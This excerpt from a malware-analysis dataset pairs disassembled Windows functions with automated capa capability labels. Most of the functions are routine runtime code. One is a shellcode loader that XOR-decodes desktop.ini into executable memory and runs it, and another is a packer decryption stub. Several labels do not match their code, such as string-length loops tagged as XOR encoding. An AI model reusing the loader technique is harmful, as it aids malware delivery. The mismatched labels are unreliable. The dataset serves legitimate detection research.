joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40621e
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x408004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jne 0x406268
push eax
push 0x10
push eax
push eax
mov edx, 0x4f0
xor ecx, ecx
call fcn.004044b9
call fcn.00406285
mov dword [0x409124], eax
xor eax, eax
jmp 0x406277
push 2
pop edx
push edx
lea ecx, [ebp - 0x108]
call fcn.0040597d
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406ce0
mov esp, ebp
pop ebp
ret

Function at 0x406298
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x408004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], ecx
push esi
push 0x4013d4
lea eax, [ebp - 0x18]
mov dword [ebp - 0x20], esi
xor ebx, ebx
push 0x14
push eax
inc ebx
call fcn.0040171e
jmp 0x40633b
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x40635f
lea edx, [edi + 8]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4062e8
sub ecx, esi
mov esi, esp
lea eax, [ecx + 1]
mov ecx, dword [ebp - 0x1c]
add eax, edx
push eax
push edx
push dword [edi + 4]
push dword [edi]
call dword [0x40a288]
call dword [ebp - 0x1c]
cmp esi, esp
je 0x406316
mov ecx, 4
int 0x29
push edi
test eax, eax
je 0x406355
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov esi, dword [ebp - 0x20]
lea eax, [ebp - 0x18]
inc esi
push esi
push 0x4013d4
push 0x14
push eax
mov dword [ebp - 0x20], esi
call fcn.0040171e
xor esi, esi
add esp, 0x10
lea eax, [ebp - 0x18]
push 0xa
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
jne 0x4062cb
jmp 0x40636b
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
jmp 0x40636b
mov dword [0x409124], 0x80070714
mov ebx, esi
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406ce0
mov esp, ebp
pop ebp
ret

Function at 0x406495
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x408004]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push ecx
push 0x4091e4
push ecx
mov edx, 0x104
lea ecx, [ebp - 0x108]
call fcn.00401781
mov edi, 0x4011d8
lea ecx, [ebp - 0x108]
push edi
mov edx, 0x104
call fcn.0040658a
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x406501
test al, 0x10
jne 0x406501
push 8
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
jmp 0x406508
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.00406ce0
mov esp, ebp
pop ebp
ret

Function at 0x4066ae
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4066bf
xor eax, eax
ret
shr eax, 4
not eax
and eax, 1
ret
Function at 0x40681f
Capabilities:
Check os version
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xb4
mov eax, dword [0x408004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [0x4081d8]
xor esi, esi
mov dword [ebp - 0xb0], 0xc
mov dword [ebp - 0xac], esi
cmp edi, 0xfffffffe
jne 0x406940
lea eax, [ebp - 0xa4]
mov dword [0x4081d8], esi
push eax
mov dword [ebp - 0xa4], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x40693a
xor edi, edi
inc edi
cmp dword [ebp - 0x94], edi
jne 0x40693a
cmp dword [ebp - 0xa0], 4
jne 0x40693a
cmp dword [ebp - 0x9c], 0xa
jae 0x40693a
push 0x4a
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x40693a
lea eax, [ebp - 0xa8]
push eax
push 0x20019
push esi
push 0x4013e0
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40693a
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xb4]
push eax
push esi
push 0x401140
push dword [ebp - 0xa8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0xa8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x40693a
lea edx, [ebp - 0xac]
lea ecx, [ebp - 0x10]
call fcn.004066f9
test eax, eax
je 0x40693a
mov eax, dword [ebp - 0xac]
and eax, 0x3ff
cmp eax, edi
je 0x406932
cmp eax, 0xd
jne 0x40693a
mov dword [0x4081d8], edi
jmp 0x406940
mov edi, dword [0x4081d8]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.00406ce0
mov esp, ebp
pop ebp
ret

Function at 0x406952
Capabilities:
Get disk size

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
cmp byte [ecx], 0
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
je 0x4069a1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
test eax, eax
je 0x4069a1
mov eax, dword [ebp - 4]
imul eax, dword [ebp - 8]
push 0x400
push dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov esi, eax
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x406a60
Capabilities:
Terminate process

Disassembly:
call fcn.00407155
jmp 0x406a6a
push 0x58
push 0x4072b8
call fcn.00407208
xor ebx, ebx
mov dword [ebp - 0x20], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x4088ac
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x406abc
cmp eax, esi
jne 0x406aaf
xor esi, esi
inc esi
mov edi, esi
jmp 0x406abf
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406a93
xor esi, esi
inc esi
cmp dword [0x4088b0], esi
jne 0x406ad1
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x406b0b
cmp dword [0x4088b0], ebx
jne 0x406b05
mov dword [0x4088b0], esi
push 0x4010c4
push 0x4010b8
call fcn.00406c3f
pop ecx
pop ecx
test eax, eax
je 0x406b0b
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x406c39
mov dword [0x4081e4], esi
cmp dword [0x4088b0], esi
jne 0x406b2e
push 0x4010b4
push 0x4010ac
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x4088b0], 2
test edi, edi
jne 0x406b3b
xor eax, eax
mov ecx, 0x4088ac
xchg dword [ecx], eax
cmp dword [0x4088b4], 0
je 0x406b67
push 0x4088b4
call fcn.00407060
pop ecx
test eax, eax
je 0x406b67
push ebx
push 2
push ebx
mov esi, dword [0x4088b4]
mov ecx, esi
call dword [0x40a288]
call esi
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x1c], esi
mov edi, dword [ebp - 0x20]
mov cl, byte [esi]
cmp cl, 0x20
ja 0x406bc5
test cl, cl
je 0x406b94
test edi, edi
jne 0x406bc5
test cl, cl
je 0x406b94
cmp cl, 0x20
ja 0x406b94
inc esi
mov dword [ebp - 0x1c], esi
mov cl, byte [esi]
jmp 0x406b83
test byte [ebp - 0x3c], 1
je 0x406ba0
movzx eax, word [ebp - 0x38]
jmp 0x406ba3
push 0xa
pop eax
push eax
push esi
push ebx
push 0x400000
call main
mov dword [0x4081e0], eax
cmp dword [0x4081f8], 0
jne 0x406c1e
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp cl, 0x22
jne 0x406bd6
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [ebp - 0x20], edi
movzx eax, cl
push eax
call dword [sym.imp.msvcrt.dll__ismbblead]
pop ecx
test eax, eax
je 0x406be9
inc esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x406b74
cmp dword [0x4081e4], 0
jne 0x406c32
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x4081e0]
mov dword [ebp - 4], 0xfffffffe
call fcn.0040724d
ret

Function at 0x406f54
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x4072d8
call fcn.00407208
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x406fb4
cmp eax, 0xffffffff
je 0x406fb4
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x406fad
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x406fad
cmp edx, 0x10000000
jae 0x406fad
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x406faa
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
call fcn.0040724d
ret 4
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x30021c72
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
test esi, esi
movzx eax, word [0x1010766]
movzx ecx, word [0x1010768]
mov dword [ebp - 4], eax
mov dword [ebp - 8], ecx
jne fcn.30021c96
or eax, 0xffffffff
leave
ret

Function at 0x30024445
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x30024476
mov eax, dword fs:[4]
mov dword [ebp + 8], eax
mov eax, dword fs:[8]
mov dword [ebp - 4], eax
cmp ebx, dword [ebp - 4]
jb 0x3002447d
cmp ebx, dword [ebp + 8]
jae 0x3002447d
xor eax, eax
jmp 0x3002466d
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x3002448e
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x300244a4
cmp ecx, edx
jae 0x300245e9
cmp dword [eax + 4], 0
je 0x300244ad
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x30024495
cmp dword [ebp + 8], 0
je 0x300244cf
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x300245e9
cmp eax, esi
jae 0x300245e9
mov eax, dword [0x1010788]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x300244f4
cmp dword [esi*4 + 0x1010790], edi
je 0x300245ed
inc esi
cmp esi, eax
jl 0x300244e2
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [0x100114c]
test eax, eax
je 0x30024669
cmp dword [ebp - 8], 0x1000000
jne 0x30024669
test byte [ebp - 0xc], 0xcc
je 0x30024572
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x30024669
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x30024669
cmp word [eax + 0x18], 0x10b
jne 0x30024669
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x30024669
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x30024572
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x30024572
test byte [ecx + 0x27], 0x80
jne 0x300245e9
push 1
push 0x10107d0
call dword [0x1001148]
test eax, eax
jne 0x30024486
mov ecx, dword [0x1010788]
test ecx, ecx
mov edx, ecx
jle 0x300245a6
lea eax, [ecx*4 + 0x101078c]
xor eax, eax
jmp 0x3002466c
test esi, esi
jle 0x30024486
mov ebx, dword [0x1001148]
push 1
push 0x10107d0
call ebx
test eax, eax
jne 0x30024486
cmp dword [esi*4 + 0x1010790], edi
je 0x30024643
mov eax, dword [0x1010788]
lea esi, [eax - 1]
test esi, esi
jl 0x30024631
cmp dword [esi*4 + 0x1010790], edi
je 0x3002462d
dec esi
jns 0x30024621
test esi, esi
jge 0x30024641
cmp eax, 0x10
jge 0x3002463c
inc eax
mov dword [0x1010788], eax
lea esi, [eax - 1]
jmp 0x30024643
je 0x3002465b
xor ecx, ecx
test esi, esi
jl 0x3002465b
lea eax, [ecx*4 + 0x1010790]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x30024649
push 0
push 0x10107d0
call ebx
jmp 0x30024486
or eax, 0xffffffff
Function at 0x300313fe
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
movzx eax, word [esi]
add eax, esi
push edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
xor edi, edi
cmp eax, esi
mov ebp, esi
je 0x30031479
mov edx, dword [0x300200f0]
cmp eax, ebp
jne 0x30031435
movzx ecx, byte [pe_dos_header]
test ecx, ecx
je 0x30031479
test dl, 1
je 0x3003144f
mov ecx, eax
and cl, 7
neg cl
mov ebx, edx
sbb ecx, ecx
add ecx, 1
and ebx, 2
xor ecx, ebx
je 0x30031459
movzx ecx, word [eax + 2]
cmp ecx, dword [esp + 0x1c]
jge 0x300314ab
mov dword [esp + 0x18], eax
movzx eax, word [eax]
xor ecx, ecx
add eax, esi
test edi, edi
sete cl
mov edi, ecx
test edi, edi
je 0x30031475
movzx ebp, word [ebp]
add ebp, esi
cmp eax, esi
jne 0x30031426
mov ax, word [esi + 6]
cmp ax, 0xfffe
je 0x300314a2
movzx eax, ax
cmp word [eax*2 + 0x300080e8], 5
jne 0x300314a2
push eax
call fcn.30032d45
add esp, 4
test eax, eax
jne 0x30031414
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x300315ae
Capabilities:
Encrypt data using rc4 prga

Disassembly:
test byte [0x300200f0], 1
mov edx, dword [esp + 8]
mov eax, dword [esp + 4]
jne 0x300315dd
mov cx, word [eax]
test cx, cx
je 0x300315dd
movzx ecx, cx
add ecx, eax
movzx ecx, word [ecx + 2]
push esi
lea esi, [edx + 4]
cmp ecx, esi
pop esi
jae 0x300315ea
cmp ecx, edx
je 0x300315ea
mov dword [esp + 8], edx
mov dword [esp + 4], eax
jmp fcn.300313fe
ret

Function at 0x3003251d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
test eax, 3
je 0x30032551
cmp byte [eax], 0
je 0x30032595
lea eax, [eax + 1]
test eax, 3
je 0x30032551
cmp byte [eax], 0
je 0x30032595
lea eax, [eax + 1]
test eax, 3
je 0x30032551
cmp byte [eax], 0
je 0x30032595
lea eax, [eax + 1]
mov edx, dword [eax]
lea eax, [eax + 4]
mov ecx, edx
sub edx, 0x1010101
xor edx, ecx
and edx, 0x80808080
je 0x30032551
test cl, cl
lea eax, [eax - 4]
je 0x30032595
test ecx, 0xff00
lea eax, [eax + 1]
je 0x30032595
test ecx, 0xff0000
lea eax, [eax + 1]
je 0x30032595
test ecx, 0xff000000
lea eax, [eax + 1]
je 0x30032595
lea eax, [eax + 1]
jmp 0x30032551
sub eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 4

Function at 0x300325a4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
test eax, 3
je 0x300325cb
cmp word [eax], 0
je 0x300325c4
lea eax, [eax + 2]
test eax, 3
je 0x300325cb
jmp 0x300325b2
sub eax, dword [ebp + 8]
shr eax, 1
jmp 0x30032606
mov edx, dword [eax]
lea eax, [eax + 4]
mov ecx, edx
sub edx, 0x10001
xor edx, ecx
and edx, 0x80008000
je 0x300325cb
sub eax, dword [ebp + 8]
shr eax, 1
test cx, cx
lea eax, [eax - 2]
je 0x30032606
test ecx, 0xffff0000
lea eax, [eax + 1]
je 0x30032606
lea eax, [eax*2 + 2]
add eax, dword [ebp + 8]
jmp 0x300325cb
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 4
Function at 0x3003e5d4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
movzx eax, word [esi]
add eax, esi
push edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
xor edi, edi
cmp eax, esi
mov ebp, esi
je 0x3003e64f
mov edx, dword [0x300200f0]
cmp eax, ebp
jne 0x3003e60b
movzx ecx, byte [pe_dos_header]
test ecx, ecx
je 0x3003e64f
test dl, 1
je 0x3003e625
mov ecx, eax
and cl, 7
neg cl
mov ebx, edx
sbb ecx, ecx
add ecx, 1
and ebx, 2
xor ecx, ebx
je 0x3003e62f
movzx ecx, word [eax + 2]
cmp ecx, dword [esp + 0x1c]
jge 0x3003e681
mov dword [esp + 0x18], eax
movzx eax, word [eax]
xor ecx, ecx
add eax, esi
test edi, edi
sete cl
mov edi, ecx
test edi, edi
je 0x3003e64b
movzx ebp, word [ebp]
add ebp, esi
cmp eax, esi
jne 0x3003e5fc
mov ax, word [esi + 6]
cmp ax, 0xfffe
je 0x3003e678
movzx eax, ax
cmp word [eax*2 + 0x300080e8], 5
jne 0x3003e678
push eax
call fcn.3003ff1b
add esp, 4
test eax, eax
jne 0x3003e5ea
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x3003e784
Capabilities:
Encrypt data using rc4 prga

Disassembly:
test byte [0x300200f0], 1
mov edx, dword [esp + 8]
mov eax, dword [esp + 4]
jne 0x3003e7b3
mov cx, word [eax]
test cx, cx
je 0x3003e7b3
movzx ecx, cx
add ecx, eax
movzx ecx, word [ecx + 2]
push esi
lea esi, [edx + 4]
cmp ecx, esi
pop esi
jae 0x3003e7c0
cmp ecx, edx
je 0x3003e7c0
mov dword [esp + 8], edx
mov dword [esp + 4], eax
jmp fcn.3003e5d4
ret

Function at 0x3003f6f3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
test eax, 3
je 0x3003f727
cmp byte [eax], 0
je 0x3003f76b
lea eax, [eax + 1]
test eax, 3
je 0x3003f727
cmp byte [eax], 0
je 0x3003f76b
lea eax, [eax + 1]
test eax, 3
je 0x3003f727
cmp byte [eax], 0
je 0x3003f76b
lea eax, [eax + 1]
mov edx, dword [eax]
lea eax, [eax + 4]
mov ecx, edx
sub edx, 0x1010101
xor edx, ecx
and edx, 0x80808080
je 0x3003f727
test cl, cl
lea eax, [eax - 4]
je 0x3003f76b
test ecx, 0xff00
lea eax, [eax + 1]
je 0x3003f76b
test ecx, 0xff0000
lea eax, [eax + 1]
je 0x3003f76b
test ecx, 0xff000000
lea eax, [eax + 1]
je 0x3003f76b
lea eax, [eax + 1]
jmp 0x3003f727
sub eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 4

Function at 0x3003f77a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
test eax, 3
je 0x3003f7a1
cmp word [eax], 0
je 0x3003f79a
lea eax, [eax + 2]
test eax, 3
je 0x3003f7a1
jmp 0x3003f788
sub eax, dword [ebp + 8]
shr eax, 1
jmp 0x3003f7dc
mov edx, dword [eax]
lea eax, [eax + 4]
mov ecx, edx
sub edx, 0x10001
xor edx, ecx
and edx, 0x80008000
je 0x3003f7a1
sub eax, dword [ebp + 8]
shr eax, 1
test cx, cx
lea eax, [eax - 2]
je 0x3003f7dc
test ecx, 0xffff0000
lea eax, [eax + 1]
je 0x3003f7dc
lea eax, [eax*2 + 2]
add eax, dword [ebp + 8]
jmp 0x3003f7a1
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 4
Function at 0x484ce2
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x484a08
sub ebx, 0xb234a497
call fcn.00484d22
and ecx, ecx
xor dword [eax], edx
mov ebx, ebx
mov ebx, 0xaa584d82
sub ebx, 0x4e936aac
add eax, 2
and ecx, ecx
cmp eax, edi
jl fcn.00484ce2
add ebx, 1
or ebx, ecx
mov ebx, ecx
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
mov esi, 0x66ff4c67
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..rdata
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x61d442c0
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x10015940
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10099738
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x20], eax
push esi
mov eax, dword [section..data]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
xor eax, eax
xorps xmm0, xmm0
mov dword [esp + 0xc], eax
movsd qword [esp + 0x14], xmm0
mov dword [esp + 0x1c], eax
mov dword [esp + 0x38], eax
lea edx, [esp + 0xc]
mov eax, dword [ecx]
push edx
push dword [ebp + 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x20]
xor esi, esi
test eax, eax
je 0x100159b2
mov eax, dword [esp + 0xc]
add eax, 0xfffffffe
cmp ax, 7
cmovbe esi, dword [esp + 0x14]
lea ecx, [esp + 0xc]
mov dword [esp + 0x38], 0xffffffff
call sym.HncFoundation.dll_public:_void___thiscall_tagHNCPARAM::ParamClear_void_
mov eax, esi
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.100944ae
mov esp, ebp
pop ebp
ret 4

Function at 0x100159f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10099768
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x24], eax
mov eax, dword [section..data]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
xor eax, eax
xorps xmm0, xmm0
mov dword [esp + 0xc], eax
movsd qword [esp + 0x14], xmm0
mov dword [esp + 0x1c], eax
mov dword [esp + 0x38], eax
lea edx, [esp + 0xc]
mov eax, dword [ecx]
push edx
push dword [ebp + 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x20]
test eax, eax
je 0x10015a6a
mov eax, dword [esp + 0xc]
add eax, 0xfffffff6
cmp ax, 1
ja 0x10015a6a
movss xmm0, dword [esp + 0x14]
movss dword [esp + 8], xmm0
jmp 0x10015a72
mov dword [esp + 8], 0
lea ecx, [esp + 0xc]
mov dword [esp + 0x38], 0xffffffff
call sym.HncFoundation.dll_public:_void___thiscall_tagHNCPARAM::ParamClear_void_
fld dword [esp + 8]
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.100944ae
mov esp, ebp
pop ebp
ret 4